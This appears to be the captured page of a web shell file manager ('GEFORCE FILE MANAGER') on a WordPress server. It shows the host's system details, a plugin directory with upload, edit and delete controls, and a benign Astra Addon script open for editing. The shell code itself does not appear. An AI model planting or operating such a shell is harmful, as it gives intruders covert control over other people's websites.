[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
astra-addon
/
addons
/
advanced-hooks
/
assets
/
js
/
unminified
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 advanced-hooks-custom-fields-priority.js
907 B
SET
[ EDIT ]
|
[ DEL ]
📄 advanced-hooks-list-page.js
3,211 B
SET
[ EDIT ]
|
[ DEL ]
📄 advanced-hooks-sticky-header-footer.js
11,991 B
SET
[ EDIT ]
|
[ DEL ]
📄 advanced-hooks.js
15,025 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: advanced-hooks-custom-fields-priority.js
/** * advanced-hooks-custom-fields-priority.js * * Provide more preferences to Astra hooks setting so wordpress custom field not causing any kind of conflicts. * * @package Astra Addon * @since x.x.x */ function removeMetaBoxSection() { document.getElementById("the-list").remove(); } function buttonClickEvent() { [...document.querySelectorAll('.editor-post-publish-button')].forEach(element => element.addEventListener('click', function (event) { removeMetaBoxSection(); })); [...document.querySelectorAll('.editor-post-publish-panel__toggle')].forEach(element => element.addEventListener('click', function (event) { removeMetaBoxSection(); })); } function DOMContentLoaded() { const elementMetaBox = document.getElementById("the-list"); if (elementMetaBox != null) { setTimeout(buttonClickEvent, 2000); } } document.addEventListener('DOMContentLoaded', DOMContentLoaded, false);